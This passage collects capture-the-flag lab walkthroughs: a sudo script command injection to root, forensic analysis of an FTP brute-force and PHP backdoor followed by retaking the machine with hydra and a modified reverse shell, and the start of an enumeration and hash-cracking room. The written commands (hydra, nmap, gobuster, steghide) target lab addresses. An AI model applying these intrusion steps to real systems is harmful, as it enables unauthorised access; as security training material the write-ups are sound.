![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5mgfuiBVE1aA15WDW%2Fimage.png?alt=media\&token=bcc1b814-2c7f-4ecd-b5ef-7d0bfa092d34)

Looks like we have ssh private key, lets copy this and ssh into the machine, we also have the username so its perfect. I'm calling the file `id_rsa`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5n-e-DS_MfFq8vYT9%2Fimage.png?alt=media\&token=e3e30076-0524-46a4-b0e2-49925d93f30e)

Now we have to remove all the `#` symbols in the file and then change the permissions of the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5o5Lit2EKkBURr1o6%2Fimage.png?alt=media\&token=60473269-ab9a-4f70-9d1c-3961fa03588e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5nBsRZu1ub3WsV5xm%2Fimage.png?alt=media\&token=8bb234ae-4ce7-40a9-bddc-261f336461b0)

Now lets login.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5o_srlWljsEThaJrC%2Fimage.png?alt=media\&token=8273b1fa-066e-4fdb-b75b-4f2bf128daec)

We are logged in , lets read the `user.txt`&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5onxZRFejsNmlhTEt%2Fimage.png?alt=media\&token=1a7a6ff6-f32d-40ab-bb32-d530d4b90fcb)

## Privilege Escalation

Lets use `sudo -l` to see what we can run as other users.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5pappLjjeFbTduqVS%2Fimage.png?alt=media\&token=bbcdac2b-5087-40ea-98d1-4aece0d4375e)

Lets look at this file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5pjLnRfEQQGjW4ukE%2Fimage.png?alt=media\&token=f5591b0a-30b5-47b0-8072-ffd8663aab0d)

Looking at the script, there are few places where we can inject system commands on the script. Lets inject the error variable as the variable is directly passed to a system called.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5rVCU8NbYCKNofZnX%2Fimage.png?alt=media\&token=cb90fe37-d586-445a-9c35-d4f36c2dc6a6)

We are now the user `gyles`. Lets look at gyles directory.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5sSfaroSzpLEVzUC1%2Fimage.png?alt=media\&token=c9a0e919-bfb6-4760-af62-610b4c233ac4)

The `.bash_history` is a interesting file, lets read it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5scpu7txGFdKNAX0t%2Fimage.png?alt=media\&token=34e1ac63-f098-4748-8704-5b8ea52fdbfe)

It looks like they were changing the contents of this file, lets look at this file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5sn8QEUvB5iPSV-pt%2Fimage.png?alt=media\&token=30630bf1-80c1-4ca2-8cc9-8945e7daa478)

The file is also owned by root so lets change the content of the file using nano

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5u9-xrvcdRynYUTGX%2F-Mc5uGia-aSoXe7vTfYa%2Fimage.png?alt=media\&token=4fd8617f-04fb-422d-8972-69cf81135267)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5u9-xrvcdRynYUTGX%2F-Mc5uaWPFXNGlarwys_l%2Fimage.png?alt=media\&token=74766df9-500d-49f3-a2bc-082cd7387ea2)

Now save and exit with `Ctrl + O` and `Ctrl + R`. Lets now start a netcat listener&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5u9-xrvcdRynYUTGX%2F-Mc5uoq4r-h4dmW5P4cu%2Fimage.png?alt=media\&token=2ab5587c-5114-45c8-9ebc-2332df9b8fa3)

And after a while, we get a shell as root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5u9-xrvcdRynYUTGX%2F-Mc5uzgiP_5l_1lV5Bdd%2Fimage.png?alt=media\&token=288f4829-52c5-48ae-b52c-030dd3dfc21c)


# H4cked

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1TW5eTKEWevhxA76n%2Fimage.png?alt=media\&token=e4b1ee3e-fc03-42d4-b238-2e5782afc5c6)

## Task 1: Oh no! We've been hacked!

Lets download the file they have given. The answer to the first question is FTP as looking at the protocols in the pcapng file, FTP is the service that has been getting a lot of Requests. We can also see someone using different password trying to login to FTP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1Ub5-w1leB_BdJm_b%2Fimage.png?alt=media\&token=49e23ba9-253e-4d21-9bd4-bfee35324dae)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1UuQYhGi0PomeJYTP%2Fimage.png?alt=media\&token=f0edcdda-a8f4-4410-bd2a-420ad4d55e60)

The very popular tool which is used to brute force is called `hydra`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1V3vJEU1367ZEFZNb%2Fimage.png?alt=media\&token=d0521282-8374-49f0-a9dd-dbdffc6fc33a)

We can find the username of the person trying to login by looking at the stream of any packet,&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1VLDUm1k5kUFi2o0j%2Fimage.png?alt=media\&token=231c3dfc-d3ca-41dd-a0d7-d7c68b5f8124)

The user is `jenny`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1VQQVrTvNcuzOuXpB%2Fimage.png?alt=media\&token=4246bd09-2e58-4418-9cb1-78766dbc9e95)

Looking at this packet, we can see that the password `password123` allowed her to login which means that it is the right password.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1VbHSP6QP6Y4x9eCc%2Fimage.png?alt=media\&token=01c1f9da-ec3e-4771-9fac-0e6eddacb6d6)

Going further down in the packets, we can find the packets with logs about the commands used after the user logged in.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1VxLAspPRa7jACQye%2Fimage.png?alt=media\&token=fdfdab47-d87e-4aa9-a1aa-5642fd317136)

The current FTP working directory the user is in is `/var/www/html`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1W5u4Gx4As3n7w2-_%2Fimage.png?alt=media\&token=fe9f6923-71d6-4ef4-a086-ea6f3748833b)

The backdoor the attacker uploaded is called `shell.php`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1WDuvbW344mWq7cHR%2Fimage.png?alt=media\&token=289da026-e09f-40a8-be58-9bcfd5752749)

For the next question lets go to the `ftp-data` packets

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1WfK1t3xPa0smT1dV%2Fimage.png?alt=media\&token=8ca6cd3b-5a82-4611-bf13-bea914495e19)

The backdoor was downloaded from a specific URL, this can be found in the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1Wx5J5tgBSLu8K5id%2Fimage.png?alt=media\&token=f6af8232-8ec7-4f6b-b39f-e50a19ce52cf)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1X2kC8Adk1YlVeaXi%2Fimage.png?alt=media\&token=186a9990-ea11-41fb-aa1c-8e5dd84e758d)

Going further through the packets, we find the packets that have the commands that we executed after receiving the reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1XOqhVe3Eu7c9uSkS%2Fimage.png?alt=media\&token=050a8fee-401b-4d18-9216-5c4ace545b6c)

The command the attacker manually executed after getting the reverse shell is `whoami`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1XWX1Lcc2M6Ub0bBz%2Fimage.png?alt=media\&token=5ca7a35f-ca75-4aeb-bc66-19485b9dae53)

We can see the computer host name in the image above.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1XhDpKtpQIHwftyQM%2Fimage.png?alt=media\&token=15dc4afe-2d67-448e-b200-5d1df002acac)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1XkB0Su88w1jBmrC6%2Fimage.png?alt=media\&token=d2adac5a-c8b0-4a06-913e-2f326a68c410)

The command the attacker used to spawn a new TTY shell is&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1XuB1DaCQTAWfqHEf%2Fimage.png?alt=media\&token=d0b5ec70-0c6c-481a-9485-eb3cb7bb967d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1Xw6arVGlpCwvmWxq%2Fimage.png?alt=media\&token=3f3d5679-0676-4aee-b489-f280b72dc6e3)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1Y08xobNanqIp50Kh%2Fimage.png?alt=media\&token=f17d4b30-c89e-49c7-942c-0a9209f075e5)

Looking at the screenshot above, we can see that after executing the sudo su command, the user has privileged escalated to root.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1Y8l3VE7B4_MEVQRt%2Fimage.png?alt=media\&token=7dde5e16-ea0e-476c-b43c-283865bd329f)

The attacker downloaded something from GitHub, this is seen in the image.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1YI7Fn5JFndCHcDsd%2Fimage.png?alt=media\&token=368f8723-d926-42bb-bde4-f30148a5f89b)

The name of the GitHub project is Reptile

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1YNbYEOJp4059yhXL%2Fimage.png?alt=media\&token=704af002-f163-4f56-8f64-54f7db6fb384)

A backdoor that is stealthy and can be very hard to detect is called a Rootkit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1TRvX3ve5tFlTXfqW%2F-Mc1YV0wNQidLFvqVBv7%2Fimage.png?alt=media\&token=0bed6ae2-fbeb-4fab-8a0e-0f1a0dbd5191)

## Task 2: Hack your way back into the machine

Lets run hydra to find the password of the user jenny so that we can retrieve the `shell.php` file on the ftp server and change the IP to ours and then upload it back to get a reverse shell when we navigate to the page.

```
hydra -l jenny -P /usr/share/wordlists/rockyou.txt ftp://10.10.14.155
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1Ya4M3w1BT4HLTXf6%2F-Mc1ejf6mxq6HqWShtHt%2Fimage.png?alt=media\&token=64f3b552-869e-46d5-87da-4b3a15c81c74)

We found the password, lets now login to FTP

```
ftp 10.10.14.155
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1Ya4M3w1BT4HLTXf6%2F-Mc1exj5zGUVr9M_h26k%2Fimage.png?alt=media\&token=e49f8453-28d6-4d84-9233-0e7805301a7c)

We are logged in, lets list and retrieve the `shell.php` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1Ya4M3w1BT4HLTXf6%2F-Mc1fPqDzBWAWLNLrv6v%2Fimage.png?alt=media\&token=e2d99e05-af0f-448f-90f0-a3c27aebf2d8)

Back on our machine, lets modify the IP to our IP and then upload the file back to the ftp server.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1Ya4M3w1BT4HLTXf6%2F-Mc1fiBOVvbtjVZIaAa7%2Fimage.png?alt=media\&token=e8191d76-82b1-4b45-8d63-b38225ea4ab5)

Now lets upload the file. On the ftp server use the command put.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1Ya4M3w1BT4HLTXf6%2F-Mc1gw2PjExRgmYg7aOS%2Fimage.png?alt=media\&token=35b8860b-2432-4a31-8410-c1eadd0bbf0c)

Now lets start a netcat listener on the port you mentioned in the file and navigate to the web page where the file is.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1Ya4M3w1BT4HLTXf6%2F-Mc1gVb4VO7gXTZrZyEm%2Fimage.png?alt=media\&token=bbdf1022-c2fc-4ab2-b326-b76b717e29c9)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1Ya4M3w1BT4HLTXf6%2F-Mc1h0NYT1LRXDpEh83E%2Fimage.png?alt=media\&token=361b1817-490c-4d82-a978-ee5bc34ebb2f)

Once you navigate to the page, you should get a reverse shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1Ya4M3w1BT4HLTXf6%2F-Mc1h3uEepnvBpasi400%2Fimage.png?alt=media\&token=b52ef984-cf16-486f-b202-7b49c4866c3d)

Lets stabilize the shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1Ya4M3w1BT4HLTXf6%2F-Mc1hFq5BoaYUCQQXx6A%2Fimage.png?alt=media\&token=d0a5fa58-f56e-49d0-9c75-84c161b733d8)

Lets now switch users to `Jenny` with the password we found earlier

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1Ya4M3w1BT4HLTXf6%2F-Mc1hcqAkqpeM2gEpctD%2Fimage.png?alt=media\&token=3c218720-1dce-4987-883f-cea886a553be)

Lets now run `sudo -l` to see what Jenny can run as another user.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1Ya4M3w1BT4HLTXf6%2F-Mc1hnqjy3QkKF3RBfBZ%2Fimage.png?alt=media\&token=eb3e4f42-5b05-4101-a8a9-5d0c219ff3bd)

Looks like she can run all commands, so lets switch users to root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc1Ya4M3w1BT4HLTXf6%2F-Mc1huvMCiXwwzpRPhQW%2Fimage.png?alt=media\&token=3bd21ceb-2a04-4ecc-970a-dc3ee9cc0ce9)

We are now root.


# Easy Peasy

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0STs_izmAtgZ8NL4L%2F-Mc0So3sFHDvYzE6o8sv%2Fimage.png?alt=media\&token=da50f97f-10e3-4f53-8eff-97348de8bbc0)

## Reconnaissance

Initial nmap scan to find all open ports

```
nmap -p- -T5 10.10.53.168
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0Vce88L1uCBbstAtY%2Fimage.png?alt=media\&token=076d7841-a516-4214-8ee6-8a58658b5d8f)

There are three ports open

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0VtlciQrUiu1p3tRC%2Fimage.png?alt=media\&token=b954bafb-61bd-4f46-a59d-d847f6b29674)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 80,6498,65524
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 80,6498,65524 -oN nmap 10.10.53.168
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0VniToMMzLPupJHPZ%2Fimage.png?alt=media\&token=c8fbe632-5bfb-4f7e-8b46-f46654ce2261)

The version of `nginx is 1.16.1`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0W0X-2_3HbPkcqu-g%2Fimage.png?alt=media\&token=747ff579-a618-4f3d-9a4a-e86e35dd4459)

Apache is running on the highest port

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0WCus0VHTQLErg99d%2Fimage.png?alt=media\&token=5b564e0f-98e9-40e9-9b3d-1da088ef2b4d)

## Enumeration

### Port 80: HTTP

Lets visit the site.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0WSbeHnPR6lIk1Rjp%2Fimage.png?alt=media\&token=76912390-4463-41be-b1d7-275849e48f29)

There is nothing interesting in the links provided and in the source code, lets run `gobuster` to find hidden files and directories.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.53.168/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0_T3559PexdYBvioy%2Fimage.png?alt=media\&token=c84dfd06-ff80-4943-9eb2-079b3f7626da)

Looks like we found a directory, lets run another gobuster scan on this directory while we explore this one.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0aJUtiMW4fSEG1eAI%2Fimage.png?alt=media\&token=e1ca3607-8c29-4407-b980-ccb15895427d)

We found another directory, lets visit both these pages.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0b16tfZUeOGKaLu7Q%2Fimage.png?alt=media\&token=ba9788da-a7a0-4752-b607-37d1988f0fc6)

There seems to be nothing, lets go to the whatever directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0bWbaufe4QjD6ID0c%2Fimage.png?alt=media\&token=a8353c92-00a5-4a92-afe4-5327a02c4957)

There is nothing on the page, lets look at the source code

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0bbJdFbytJU2KTtqA%2Fimage.png?alt=media\&token=f024bfbd-dbce-4268-a12f-2e14979a5da4)

We have a hash, lets decrypt it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0bupx9jVpT1UmWQPB%2Fimage.png?alt=media\&token=b9a25a19-fff2-4274-b574-275cd79bd6fe)

We have the first flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0c0saglOtYfmozSmV%2Fimage.png?alt=media\&token=47cf3206-235b-412b-8c3a-0528a355b313)

### Port 65524: HTTP

Lets visit the site

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0XQJIv29IRgEWTDBo%2Fimage.png?alt=media\&token=8d0ad7e2-1864-43f8-abf6-b57b338c8ba8)

Its a Apache 2 default page, scrolling down a bit, we find flag 3.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0a-Xsw6kpICY-EZ4p%2Fimage.png?alt=media\&token=4af9f0e9-b1af-40d6-acee-a5c8fa75e77f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0aFB9fCRhaeqWKFBO%2Fimage.png?alt=media\&token=eb4ab5d5-6351-4b20-8a1c-9068542daedc)

Lets run gobuster to find hidden directories and files.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.53.168:65524/
```

While gobuster is running lets check the `robots.txt` page, we find some interesting information there.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0Ya9Nmg8oF3rtODiW%2Fimage.png?alt=media\&token=bf161e6a-4f43-4adf-9c7d-bc82b82fa820)

This looks like a hash, lets try to crack it. Lets first try to identify what type of hash it is

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0afKh2hnSZxY7rDAi%2Fimage.png?alt=media\&token=5de97a97-afaf-4b05-9004-2e69ee4c3ec0)

Its a MD5 hash, now lets crack it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0amGHgUFI2jrNN_yU%2Fimage.png?alt=media\&token=3a397a1f-d56e-47d3-937f-aeaf2c22ee6d)

And we have the second flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0arCjEhmJKEEU4ZkG%2Fimage.png?alt=media\&token=960af27b-b2e5-4f02-bd50-88bffa19a068)

Looking back at the default page, we have something else in the source code

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0cysGg96X7ZJsMl33%2Fimage.png?alt=media\&token=5dad6218-7103-451a-a185-652f9b8513ef)

Another hash. Lets crack it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0dFJ5MAl_ILR1JBtu%2Fimage.png?alt=media\&token=44579962-98ac-484f-9872-b5bafcf5a978)

Its another directory, lets visit it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0dP0pINuVK6KsF9Ys%2Fimage.png?alt=media\&token=2a3f3ac7-e2f9-4aeb-a0d7-e42025726cd4)

Its a page with binary code image, lets look at the source code.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0dkuCPnTVV6915Yff%2Fimage.png?alt=media\&token=f4a6d76e-dd0c-46ab-a2a3-a2ddb99b7f05)

We have a string, lets try to identify the hash.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0e3p3sgaB9rZ22LC5%2Fimage.png?alt=media\&token=1e742376-f8be-460b-9c26-57862a705979)

Lets crack it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0eeFx-6wRfq96s7ZO%2Fimage.png?alt=media\&token=0fe4c9e9-e5a3-419c-ac97-030eae2304c8)

Looks like it is a password

Now lets download the binary picture and see if there is anything hidden in it using `steghide`.

```
steghide --extract -sf binarycodepixabay.jpg
```

It is asking for a password, so I used the one we just found.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0eqwfqXEI7a-ocPYc%2Fimage.png?alt=media\&token=a2cd9550-233c-42ed-966b-fdc4a9e1957d)

We found a text file, lets read it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc0UEgKWpdQES8qN5bb%2F-Mc0ewJCSTf4A_GU6zk-%2Fimage.png?alt=media\&token=297d2903-e63f-4d56-a554-b890649ab73b)

We have a username and a password in binary, lets decode it.

